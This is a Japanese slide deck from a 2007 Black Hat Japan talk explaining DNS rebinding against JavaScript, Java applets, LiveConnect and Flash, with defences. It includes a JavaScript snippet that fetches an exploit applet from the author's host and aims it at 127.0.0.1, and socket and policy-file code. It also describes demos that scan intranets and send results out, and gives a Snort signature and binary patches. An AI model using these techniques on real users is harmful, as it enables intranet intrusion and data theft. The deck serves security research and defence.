

DNS Rebinding and Socket API

金床

Kanatoko<anvil@jumperz.net>
<http://www.jumperz.net/>



Black Hat Japan 2007

1

DNS Rebindingとは(1)

- ・ 攻撃手法のひとつ
- ・ 特定のソフトウェアに存在するバグではない
- ・ Windows、LinuxをはじめさまざまなOSが影響を受ける
- ・ パッチは存在しない
- ・ ウェブブラウザ、DNSサーバー、プロキシサーバーなどに関係がある
- ・ 現実的な脅威
- ・ おそらくあなたの環境は脆弱



Black Hat Japan 2007

2

DNS Rebindingとは(2)

- ・ アリスのウェブブラウザを踏み台とし、何かしらイヴを益する動作を行わせる攻撃
- ・ 情報を盗む
- ・ アリスに攻撃を行わせる
- ・ 直接サーバーを攻撃するものではない
- ・ DNSサーバーに対する攻撃ではない



Black Hat Japan 2007

3

どのように攻撃が開始されるか

- ・ アリスがイヴのページ(罠のページ)を訪れることで開始される
- ・ XSSやCSRFと同様
- ・ いろいろなウェブサイトを見て回るうちに、いつの間にか入り込んでしまう
- ・ メールや掲示板への書き込みなどを使ったソーシャルエンジニアリング
- ・ 見た目には無害なページを装っており、瞬時に罠かどうかを見破ることは難しい
- ・ 信頼できると考えられているウェブサイトが改ざんされ、罠のページになっている可能性あり。この場合URLによるフィルタリングは役に立たない



Black Hat Japan 2007

4

DNS Rebindingが利用するテクノロジー

- ・ JavaScript
- ・ Java
- ・ FLASH
- ・ JavaScriptやFLASH、Javaアプレットなどのコードがアリスのウェブブラウザ上で動作を開始する
- ・ それぞれのテクノロジーにはセキュリティ制限が備わっている。たとえばローカルコンピュータ内部のファイルを読み出したり、書き込んだりすることはもちろんできない
- ・ それぞれのテクノロジーは独自のネットワークアクセス機能を持っている



Black Hat Japan 2007

5

悪意あるページを訪れると何が起こるか? (1)

- ・ イヴのコードが動作する
- ・ JavaScript
 - XMLHttpRequestやSCRIPT、IMG、IFRAMEを使ったリソースの読み込み(HTTP)
- ・ FLASH:
 - URLLoader(HTTP),
 - Socket(TCP)
- ・ Java:
 - URLConnection(HTTP),
 - Socket(TCP)
 - DatagramSocket(UDP)



Black Hat Japan 2007

6

悪意あるページを訪れると何が起こるか?(2)

- ・ ネットワークアクセス機能にはもちろんセキュリティ制限が存在する。ほぼ共通して次のような制限である
- ・ コード (JavaScript、FLASHの.swfファイル、アプレットの.classファイルやjar、zipファイル) のダウンロード元のホストとのみ通信が可能
- ・ Same Origin Policyとよばれる



Black Hat Japan 2007

7

DNS Rebindingによる攻撃の概要(1)

- ・ イヴはドメインeve.tldを所有している
- ・ イヴはDNSサーバーを管理下においている
- ・ イヴは218.45.25.5でウェブサーバーを動作させ、そこに罠のページを配置している
- ・ イヴはwww.eve.tldのIPアドレスとして218.45.25.5を割り当てる。この設定はイヴのDNSサーバーで行われるため、DNSレコードのTTLの値はイヴの意志で決めることができる。ここでTTLを非常に短い値(例えば8秒)に設定する
- ・ アリスのウェブブラウザが罠のページ(www.eve.tld)を開こうとする
- ・ アリスのコンピュータは名前解決を行う。結果218.45.25.5が返され、アリスのウェブブラウザはイヴのウェブサーバーに接続し、罠のページを開く
- ・ 数秒が経過し、TTLが切れる
- ・ イヴはこの間にDNSサーバーの設定を変更し、www.eve.tldに対応するIPアドレスを127.0.0.1にしておく



Black Hat Japan 2007

8

DNS Rebindingによる攻撃の概要(2)

- ・ 罾のページに含まれるイヴのコードが、www.eve.tldにアクセスを試みる
- ・ www.eve.tldの名前解決が再び行われ、IPアドレスとして127.0.0.1が取得される
- ・ イヴのコードは127.0.0.1(もちろんこれはアリスのマシンである)との通信を試みる
- ・ ホスト名はあくまでも「www.eve.tld」であるため、セキュリティ制限に引っかからず、通信が許可されてしまう
- ・ **このように、本来ならば通信できないはずのアドレス(この例では127.0.0.1)との通信を可能とするのがDNS Rebinding**



Black Hat Japan 2007

9

DNS Pinningとは

- ・ 実は先ほどの方法でそのまま攻撃が成立するのはFLASHのみ
- ・ 各ウェブブラウザ(IE、Firefox、Opera)のJavaScriptの実装、SunのJava仮想マシンは名前解決の結果をそれぞれがキャッシュする
- ・ TTLで指定された時間が経過してもキャッシュが消えない(DNSプロトコルに違反している)
- ・ これを「DNS Pinning」とよぶ(ピンで止めておく、というイメージ)
- ・ SunはこれをDNS Rebindingへの対策として実装している。一方で各ウェブブラウザベンダーは(Sunとは異なり)DNS Rebindingを強く意識しているわけではない(?)
- ・ イヴはPinningされた情報(キャッシュ)を破棄させる必要がある



Black Hat Japan 2007

10

Anti-DNS Pinningとは(1)

- ・ DNS Pinningでピン止めされているDNSの情報を破棄させること
- ・ JavaScript実装のみが対象となる
 - FLASHはそもそもPinningしないので、Anti-DNS Pinningする必要がない
 - Java仮想マシンはキャッシュを破棄しないので、Anti-DNS Pinningは不可能
- ・ 2006年8月にMartin Johnsが具体的な方法を発見してセキュリティコミュニティに通知
 - <http://shampoo.antville.org/stories/1451301/>



Anti-DNS Pinningとは(2)

- ・ 十分な時間の経過後にウェブブラウザの (JavaScriptなどによる) HTTPでのアクセスを一度失敗させると、Pinningしていたキャッシュを破棄し再び名前解決を行う
 - ファイアウォールでブロック
 - ウェブサーバーを停止
 - 閉じたポートへアクセスさせる (<http://example.com:81/>)
- ・ Anti-DNS Pinningを行うことで2度目の名前解決が行われ、DNS Rebindingによる攻撃が可能となる
- ・ つまりAnti-DNS PinningはDNS Rebindingを実行するために、攻撃の途中で使われる処理である



JavaScriptに対するDNS Rebinding

- ・ XMLHttpRequestなどを使う
- ・ 本来ならば通信できないはずのウェブサーバーから情報を取得し、それを外部(イヴのホスト)に送信してしまう
- ・ HTTPで情報を取得するため、ターゲットはウェブサーバーのみとなる
- ・ 「クロスドメイン」ではなく「クロスアドレス」であるため、CSRFなどと異なり、HTTPリクエストにターゲットのウェブサイトのCookieなどが含まれない
- ・ 仮にアリスがログイン中であっても、Basic認証やCookieなどの認証を突破することはできないので、CSRFには使用されない
- ・ インターネット上のウェブサーバーに行っても意味がないため、結果的にターゲットは主に**イントラネット内のウェブサーバーにある情報**になる
- ・ ただし、インターネット上のウェブサイトがクライアントのIPアドレスに基づく認証を行っている場合は例外(Universal PDF XSS対策など)
- ・ 盗んだデータは別のイヴのホストへと送信する(Javascriptからのデータの送信にはクロスドメイン制約が存在しない)



Black Hat Japan 2007

13

JavaScript版DNS Rebindingのデモ

- ・ <http://www.jumperz.net/index.php?i=2&a=1&b=7>
- ・ イン트라ネットなどのウェブサーバーの情報をwww.jumperz.netへ送信する
- ・ Martinの記事を読んだ時点では現実的に可能な攻撃であるかどうか半信半疑
- ・ 少しずつ調べていくうちに夢中になる
- ・ 安定して動作するものに仕上げるまでに20時間程度費やす
- ・ ウェブアプリケーション(JSP)とDNSサーバー(djbdns)、そしてウェブブラウザ中のJavaScriptが協調して動作
- ・ 閉じたポートへアクセスさせることによりAnti-DNS Pinningを実現
- ・ Special Thanks!
 - チームチドリのKawaさん



Black Hat Japan 2007

14

各ウェブブラウザ (JavaScript実装) の挙動

- ・ Firefoxの場合、TTLが数秒であっても、Anti-DNS Pinningするためには2分近く待つ必要がある
- ・ IE6およびOperaはTTLが経過すればAnti-DNS Pinningが可能になる
- ・ IE7に関しては調査中



JavaScriptに対するDNS Rebindingへの対策

- ・ イン트라ネット内のウェブサイト(127.0.0.1含む)への通信について、簡単なものでよいので認証の仕組みを用意する
- ・ Basic認証でOK
- ・ もちろんウェブブラウザでJavaScriptがオフになっていれば対策になる
- ・ シンプルな方法で対策が完了するため脅威ではない
- ・ もちろんデフォルトのユーザID・パスワードは変更しておくこと(ルーターなど)



FLASHとJavaへのDNS Rebinding(1)

- ・ ともにSocket APIを持つ
- ・ TCPレベルでの実装が可能
- ・ あらゆるプロトコルを自由に実装可能であり、危険度はJavaScriptの比ではない
- ・ アリスのウェブブラウザを起点として、イントラネット及びインターネット上のあらゆるホストとあらゆるプロトコルで通信が行われてしまう
 - ポートスキャン
 - SPAMメール送信
 - 既知の脆弱性に対するExploitコードの送信
 - ファイル共有ネットワーク
 - DoS攻撃
 - IPアドレスにもとづく認証の突破



Black Hat Japan 2007

17

FLASHとJavaへのDNS Rebinding(2)

- ・ イヴは常にアリスのウェブブラウザとの間で通信が可能。アリスのウェブブラウザをTCPやUDPのプロキシとして利用することができる
- ・ 企業などのネットワークはイントラネットへの攻撃によって被害者にもなり、またインターネット上への攻撃への踏み台とされることにより加害者にもなる



Black Hat Japan 2007

18

Javaアプレットに対するDNS Rebinding(1)

- ・ 主なターゲットはSunのJava仮想マシン
- ・ SandBoxとよばれる制限の中で動作する
- ・ 通信可能な対象はアプレットのファイルが置かれているホスト(ウェブページのホストではない)
- ・ Socketクラス(TCP)およびDatagramSocket(UDP)が使用できる
- ・ バイナリデータの送受信が可能
- ・ DNSレコードを永遠にキャッシュする。非常に強固なDNS Pinning
- ・ DNSプロトコルを大きく違反しており、長い時間動作するサーバーアプリケーション(メールサーバーなど)をJavaで実装するとこの点が問題になることがある
- ・ Java仮想マシンに対してパラメータとしてnetworkaddress.cache.ttlを指定すればキャッシュを一定時間で破棄することができる。このときTTLは無視
- ・ networkaddress.cache.ttlはアプレット側からは操作できない



Black Hat Japan 2007

19

Javaアプレットに対するDNS Rebinding(2)

- ・ 過去(1996年)に似た問題が指摘された結果か
 - <http://www.cs.princeton.edu/sip/news/sun-02-22-96.html>
- ・ 「アプレットのネットワーク通信を一切禁止する」というような設定項目は残念ながら存在しない
- ・ SocketクラスはJavaアプレットのダウンロード自体にも利用されているため、クラスごと無効にすることができない
- ・ Java仮想マシンはアプレットのダウンロードを自ら行う(ウェブブラウザのHTTPアクセス機能とは独立している)
- ・ そのため、ウェブブラウザのキャッシュにアプレットが存在するかどうかは動作に関係しない
- ・ Java仮想マシンはアプレットのダウンロードのために名前解決を行う
- ・ つまりアプレット(攻撃コード)がダウンロードされるよりも前に名前解決を行う
- ・ そしてその結果を永遠にキャッシュする



Black Hat Japan 2007

20

Javaアプレットに対するDNS Rebinding (3)

- ・ イヴのDNSサーバーが偽のIPアドレスを返すとアプレットがダウンロードされないため、攻撃は成立しない
- ・ イヴのDNSサーバーが正しいIPアドレスを返すと、アプレットはダウンロードされるが、その後偽のアドレスを認識させることができないため、やはり攻撃は成立しない
- ・ このため、**プロキシサーバー**を利用しているユーザーのみが脆弱となる
- ・ NATでアクセスしている多くのホームユーザーよりも、HTTPアクセス用のアプリケーションレベルゲートウェイが設置されている企業のユーザーの方が危険



Javaアプレットに対するDNS Rebinding (4)

- ・ Java仮想マシンの起動よりも前にアプレットを別の方法でダウンロードし、プロキシサーバーにキャッシュさせる

```
//make the proxy cache the applet
var foo = new Image();
foo.src = "http://12345.jumperz.net/exploits/MTCPCApplet.class";

//wait for the TTL to expire
setTimeout( 'f1()', 1000 * 12 );

//add the applet tag to the page
function f1()
{
var base = document.getElementById( "base" );
var str = '<applet code="MTCPCApplet.class" codebase="http://12345.jumperz.net/exploits/">'
+ '<param name="address" value="127.0.0.1">'
+ '</applet>';
base.innerHTML = str;
}
```



Javaアプレットに対するDNS Rebinding(5)

- ・ 起動したJava仮想マシンは名前解決を行う。その際偽のIPアドレスが返されるが、ダウンロードはプロキシサーバー経由で行われるため、攻撃コードを含むアプレットは正常にダウンロードされてしまう

ウェブブラウザのリクエスト

```
GET /exploits/MTCPCApplet.class HTTP/1.0
Accept: */*
Referer: http://1190066223254.jumperz.net/exploits/ap3.jsp?address=127.0.0.1
Accept-Language: ja
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)
Host: 1190066223254.jumperz.net
Cookie: JSESSIONID=C6D04DDABD28F3B0FACE61F9EA70B44A
Connection: Keep-Alive
```

アプレットのリクエスト

```
GET /exploits/MTCPCApplet.class HTTP/1.1
User-Agent: Mozilla/4.0 (Windows 2000 5.0) Java/1.6.0_02
Host: 1190066223254.jumperz.net
Accept: text/html, image/gif, image/jpeg, *, q=.2, */*; q=.2
Cookie: JSESSIONID=C6D04DDABD28F3B0FACE61F9EA70B44A
Connection: keep-alive
```



Black Hat Japan 2007

23

Javaアプレット版DNS Rebindingのデモ

- ・ <http://www.jumperz.net/index.php?i=2&a=1&b=10>
- ・ ポートスキャンと簡単なデータの取得(バナー情報など)を行い、それをwww.jumperz.netへ送信する
- ・ IE、Firefox、Operaで動作確認
- ・ プロキシサーバーを使っている場合のみ動作



Black Hat Japan 2007

24

Javaアプレットに対するDNS Rebindingへの対策(1)

- ・ ウェブブラウザ上でJavaを無効にする(確実な対策)
- ・ パーソナルファイアウォールでウェブブラウザの接続先ポートを制限する(80、443番ポートのみ、など)
- ・ イン트라ネットにおいても、全てのプロトコルについて認証を要求する。また、脆弱性を放置しない
- ・ インターネット上への攻撃の踏み台にされないよう、ファイアウォールなどに適切な設定を施しておく(UDP53へのDoS攻撃などを発見・抑止)
- ・ Javaアプレットの実体はクラスファイル(.class)だが、jar形式やzip形式のファイルに埋め込むことができるため、プロキシサーバー上のURLフィルタやIDS、IPSなどで攻撃コードを発見することは難しい



Black Hat Japan 2007

25

Javaアプレットに対するDNS Rebindingへの対策(2)

- ・ アプレット用のJava仮想マシンを用意し、SecurityManagerクラスにパッチを当ててアプレットからのネットワークアクセスを一切禁止する

```
public void checkConnect(String host, int port) {
    if (host == null) {
        throw new NullPointerException("host can't be null");
    }
    host = "127.0.0.2";
    if (!host.startsWith("[") && host.indexOf(":") != -1) {
        host = "[" + host + "]";
    }
    if (port == -1) {
        checkPermission(new SocketPermission(host,
            SecurityConstants.SOCKET_RESOLVE_ACTION));
    } else {
        checkPermission(new SocketPermission(host+"."+port,
            SecurityConstants.SOCKET_CONNECT_ACTION));
    }
}
```



Black Hat Japan 2007

26

LiveConnectに対するDNS Rebinding

- ・ Java及びJavaScriptが有効な場合に動作する
- ・ JavaScript中にJavaのコードを記述できる
 - `var s = new java.net.Socket("www.jumperz.net", 25)`
- ・ LiveConnectと呼ばれる機能の一部
- ・ IEではサポートされない
- ・ Java仮想マシンを起動する前に攻撃コードを送り込む(ウェブページ中にJavaScriptとして記述しておく)ことが可能
- ・ Javaアプレットの場合と異なり、プロキシサーバーを利用していないユーザも脆弱となる
- ・ Operaでは実装にバグがある
- ・ そのためFirefoxで最も危険



Black Hat Japan 2007

27

LiveConnect版DNS Rebindingのデモ

- ・ <http://www.jumperz.net/index.php?i=2&a=1&b=9>
- ・ Martinとのコラボ作品
 - <http://shampoo.antville.org/stories/1566124/>
- ・ ポートスキャンと簡単なデータの取得(バナー情報など)を行い、それをwww.jumperz.netへ送信する



Black Hat Japan 2007

28

LiveConnectに対するDNS Rebindingへの対策

- ・ Javaアプレットの場合と同様



FLASHに対するDNS Rebinding(1)

- ・ **ActionScript 3.0からSocketクラスが登場**
- ・ TCPレベルで自由な通信が可能
- ・ バイナリデータの送受信が可能
- ・ Flash Player 9以降で動作
- ・ 通信可能な対象はFLASHのファイルが置かれているホスト(ウェブページのホストではない)
- ・ DNS Pinningを一切行わないため、TTLが過ぎればDNSレコードを破棄
- ・ 非常に容易にDNS Rebindingによる攻撃が成功する
- ・ 多くのユーザが有効にしていると思われるFLASHが新たにこのような機能を増やすことは脅威
- ・ 「FLASHのネットワーク通信を一切禁止する」というような設定項目は残念ながら存在しない



FLASHに対するDNS Rebinding(2)

- ・ ActionScript 3.0でソケットを使用するコードの例

```
private var sock1:Socket;

private function test1():void
{
    var sock1:Socket = new Socket();
    sockInfoMap[ sock1 ] = "sock1";
    sock1.addEventListener( Event.CONNECT, onConnected );
    sock1.connect( "www.jumperz.net", 80 );
}

private function onConnected( e:Event ):void
{
    sock1.writeMultiByte( "GET / HTTP/1.0\r\n\r\n", "ISO-8859-1" );
}
```



Black Hat Japan 2007

31

FLASHに対するDNS Rebinding(3)

- ・ デフォルトでは1024番以上のポートと通信が可能(Javaとは異なる。Javaには接続先ポート番号による制限はない)
- ・ 1024番未満のポートとの通信を可能にするためには、サーバーとの間で独自のプロトコルに基づく通信(ポリシーのロード)を行う必要がある
- ・ このポリシーファイルのロードが失敗した場合には1024番未満のポートへは接続できない
- ・ NATの場合は容易にポリシーファイルのロードがおこなわれる
- ・ イヴはポリシーファイルのロードを行う際に、開いていそうな443番ポートを使う可能性が高い
- ・ DNS Rebindingでこの通信が発生する可能性は高いので、IDSやIPSで検知する意味がありそう
- ・ Snortでのシグネチャの例

```
- alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"FLASH Socket policy-file-request"; flow:to_server,established; content:"<policy-file-request/>"; nocase; )
```



Black Hat Japan 2007

32

FLASHに対するDNS Rebinding(4)

- ・ ポリシーをロードするコードの例と、その際に送受信されるデータ

```
//load policy using port 2  
flash.system.Security.loadPolicyFile( "xmlsocket://www.jumperz.net:2" );
```

```
from client to server  
<policy-file-request/>
```

```
from server to client  
<?xml version="1.0"?>  
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-  
domain-policy.dtd">  
<cross-domain-policy>  
<allow-access-from domain="*.jumperz.net" to-ports="*" />  
</cross-domain-policy>
```



FLASH版DNS Rebindingのデモ

- ・ <http://www.jumperz.net/index.php?i=2&a=1&b=8>
- ・ FLASHでSocketが使えるようになったことをセキュリティコミュニティに知らせる役割を担った
- ・ Flash Player 9以降で動作
- ・ 2番ポートへ直接TCPによるコネクションを作成してポリシーファイルをロードするため、非NAT環境では1024番未満のポートへはアクセスできない
- ・ ポートスキャンと簡単なデータの取得(バナー情報など)を行い、それをwww.jumperz.netへ送信する



FLASHに対するDNS Rebindingへの対策(1)

- ・ FLASHを無効にする(確実な対策)
- ・ その他、Javaアプレットの場合と同様の対策



FLASHに対するDNS Rebindingへの対策(2)

- ・ DLLやOCXファイルにパッチを当てる
- ・ connect (Winsock関数)の呼び出し(2箇所)をつぶす
- ・ 副作用が少ない(Youtubeは見ることができる)

300B4C92	> 6A 10	PUSH 10	AddrLen = 10 (16.) pSockAddr Socket connect
300B4C94	. 8D45 F0	LEA EAX, DWORD PTR SS:[EBP-10]	
300B4C97	. 50	PUSH EAX	
300B4C98	. FF76 04	PUSH DWORD PTR DS:[ESI+4]	
300B4C9B	. E8 BA730D00	CALL <JMP.&WSOCK32.#4>	
300B4CA0	. 85C0	TEST EAX, EAX	BEFORE
300B4CA2	. ^75 BD	JNZ SHORT NPSWF32.300B4C61	
300B4CA4	. 3845 10	CMP BYTE PTR SS:[EBP+10], AL	AFTER
300B4CA7	. v75 19	JNZ SHORT NPSWF32.300B4CC2	
300B4C92	> 6A 10	PUSH 10	
300B4C94	. 8D45 F0	LEA EAX, DWORD PTR SS:[EBP-10]	
300B4C97	. 50	PUSH EAX	
300B4C98	. FF76 04	PUSH DWORD PTR DS:[ESI+4]	
300B4C9B	. 58	POP EAX	
300B4C9C	. 58	POP EAX	AFTER
300B4C9D	. 58	POP EAX	
300B4C9E	. 90	NOP	
300B4C9F	. 90	NOP	
300B4CA0	. 85C0	TEST EAX, EAX	
300B4CA2	. ^75 BD	JNZ SHORT NPSWF32.300B4C61	
300B4CA4	. 3845 10	CMP BYTE PTR SS:[EBP+10], AL	
300B4CA7	. v75 19	JNZ SHORT NPSWF32.300B4CC2	



ダイナミックDNSとDNS Pinningの関係

- ・ ある時点であるIPアドレスをボブのウェブサーバーが使用している。ボブのウェブサーバー上ではショッピングサイトが運用されている
- ・ アリスがボブのウェブサイトを訪れる
- ・ ボブの回線が一度切断されてしまう。その後通信が回復すると、ボブに割り振られたIPアドレスが以前と異なっている
- ・ ボブはすぐにダイナミックDNSの機能によってウェブサーバーのホスト名に対して新たなIPアドレスをひもづける
- ・ 以前ボブが使っていたIPアドレスをイヴが取得する
- ・ このときアリスがDNS Pinningをしてしまっていると、ボブに送られるべきリクエストがイヴに送られてしまう
- ・ イヴはアリスのリクエストのCookieなどからセッションIDを取得し、セッションハイジャックが可能となる
- ・ 長いスパンで考えればすべてのウェブサイトに起こりうること
- ・ つまり「DNS Pinning」することによってもこのようなセキュリティ上の問題が引き起こされる

37

Black Hat Japan 2007

3つのテクノロジー共通の対策

- ・ DNSレコードの監視(良い仕組みは現時点で存在するのか?)
 - 短期間の間にIPアドレスが変更されたものを記録する
 - 特にグローバルIPアドレスからプライベートIPアドレスへと変更されるものは要注意
 - TTLが短いレコードは日常的に使用されるため、TTLに注目することによってこの攻撃を発見することは難しい
- ・ NoScriptやFlashBlockなどのFirefoxプラグインは役に立つ

38

Black Hat Japan 2007

その他

- ・ ウェブブラウザ、FLASHやJavaなどのプラグイン、DNSサーバー、プロキシサーバーなどが複雑に絡むとても難しい問題
- ・ 今そこにある現実的な脅威
- ・ 実際に攻撃が行われたとしても、備えがなければ発見できない
- ・ まずは検知の仕組みが必要？
- ・ ウェブブラウザやプラグインにおいて、細やかな設定を可能にする仕組みが必要
 - 「ネットワークアクセスを許可する/しない」の選択
 - IPアドレスが変更された場合にユーザに通知するダイアログ



おしまい

- ・ ありがとうございました

